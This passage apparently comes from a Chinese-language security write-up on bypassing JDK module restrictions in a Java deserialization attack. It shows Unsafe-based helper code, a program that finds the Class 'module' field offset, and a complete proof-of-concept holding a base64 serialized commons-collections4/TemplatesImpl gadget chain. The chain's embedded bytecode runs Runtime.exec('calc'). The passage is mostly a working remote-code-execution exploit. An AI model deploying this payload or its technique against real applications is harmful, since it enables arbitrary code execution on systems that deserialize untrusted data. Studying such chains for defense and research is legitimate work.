unsafe.staticFieldOffset(f); } else { offset = unsafe.objectFieldOffset(f); } unsafe.putObject(obj, offset, val); } public static Object newInstance (Class<?> clazz) throws Exception { return unsafe.allocateInstance(clazz); } }
补充 前面我们在这一步时说第一个条件满足不了
因为我们没办法在反序列化的时候传一个 Module 类去 patch 我们自己的类(Evil)的 Module 让它等于 被反射的类(TrAXFilter)的 Module
但是其实我们可以让他们两个的 Module 都为 null
有了刚才的方法,我们可以调用两次 unsafe 去实现
先找 module 的偏移:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import sun.misc.Unsafe;import java.lang.Class;import java.lang.reflect.Field;public class Offset { public static void main (String[] args) throws Exception { Class unsafeClass = Class.forName("sun.misc.Unsafe" ); Field field = unsafeClass.getDeclaredField("theUnsafe" ); field.setAccessible(true ); Unsafe unsafe = (Unsafe) field.get(null ); long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module" )); System.out.println(addr); } }
调试刚才的 poc 可以看到 currentModule 所属的 class 对象是 InstantiateTransformer:
修改后的poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.*;import java.lang.Class;import java.util.PriorityQueue;import javax.xml.transform.Templates;public class POC1 { public static void main (String[] args) throws Exception { String s = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAuW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwdXIALltMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5UcmFuc2Zvcm1lcjs5gTr7CNo/pQIAAHhwAAAACHNyADxvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnM0LmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAD3N1bi5taXNjLlVuc2FmZQAAAAAAAAAAAAAAeHBzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5mdW5jdG9ycy5JbnZva2VyVHJhbnNmb3JtZXKH6P9re3zOOAIAA1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAC2lNZXRob2ROYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAF0AAl0aGVVbnNhZmV0ABBnZXREZWNsYXJlZEZpZWxkdXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAABdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2xvc3VyZVRyYW5zZm9ybWVyBqPbHKGgbUYCAAFMAAhpQ2xvc3VyZXQAKUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L0Nsb3N1cmU7eHBzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5mdW5jdG9ycy5UcmFuc2Zvcm1lckNsb3N1cmW3563DrldcVwIAAUwADGlUcmFuc2Zvcm1lcnEAfgAEeHBzcQB+ABJ1cQB+ABcAAAABc3IAEWphdmEubGFuZy5Cb29sZWFuzSBygNWc+u4CAAFaAAV2YWx1ZXhwAXQADXNldEFjY2Vzc2libGV1cQB+ABsAAAABdnIAB2Jvb2xlYW4AAAAAAAAAAAAAAHhwc3EAfgASdXEAfgAXAAAAAXB0AANnZXR1cQB+ABsAAAABdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwc3EAfgAfc3EAfgAic3EAfgASdXEAfgAXAAAAA3ZyADdjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UckFYRmlsdGVyAAAAAAAAAAAAAAB4cHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAwcHQAD2dldEFuZFNldE9iamVjdHVxAH4AGwAAAANxAH4AMXZyAARsb25nAAAAAAAAAAAAAAB4cHEAfgAxc3EAfgAfc3EAfgAic3EAfgASdXEAfgAXAAAAA3ZyAD9vcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnM0LmZ1bmN0b3JzLkluc3RhbnRpYXRlVHJhbnNmb3JtZXI0i/R/pIbQOwIAAlsABWlBcmdzcQB+ABNbAAtpUGFyYW1UeXBlc3EAfgAVeHBxAH4AOnBxAH4AO3VxAH4AGwAAAANxAH4AMXEAfgA+cQB+ADFzcQB+AA1xAH4AN3NxAH4AQ3VxAH4AFwAAAAFzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAVTAAFX25hbWVxAH4AFEwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAAAAAAB1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAABUsr+ur4AAAA3ABkBAARFdmlsBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAIAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwACgALCgAJAAwBAARjYWxjCAAOAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEAARCgAJABIBAAY8aW5pdD4MABQABgoABAAVAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQAhAAIABAAAAAAAAgAIAAUABgABAAcAAAAWAAIAAAAAAAq4AA0SD7YAE1exAAAAAAABABQABgABAAcAAAARAAEAAQAAAAUqtwAWsQAAAAAAAQAXAAAAAgAYdXEAfgBPAAAAnsr+ur4AAAA3AAwBAAdVc2VsZXNzBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBAAxVc2VsZXNzLmphdmEBAAY8aW5pdD4BAAMoKVYMAAcACAoABAAJAQAEQ29kZQAhAAIABAAAAAAAAQABAAcACAABAAsAAAARAAEAAQAAAAUqtwAKsQAAAAAAAQAFAAAAAgAGcHQACHVzZWxlc3MxcHcBAHh1cQB+ABsAAAABdnIAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzAAAAAAAAAAAAAAB4cHcEAAAAA3BweA==" ; SerializeUtil.deserializeFromBase64(s); } }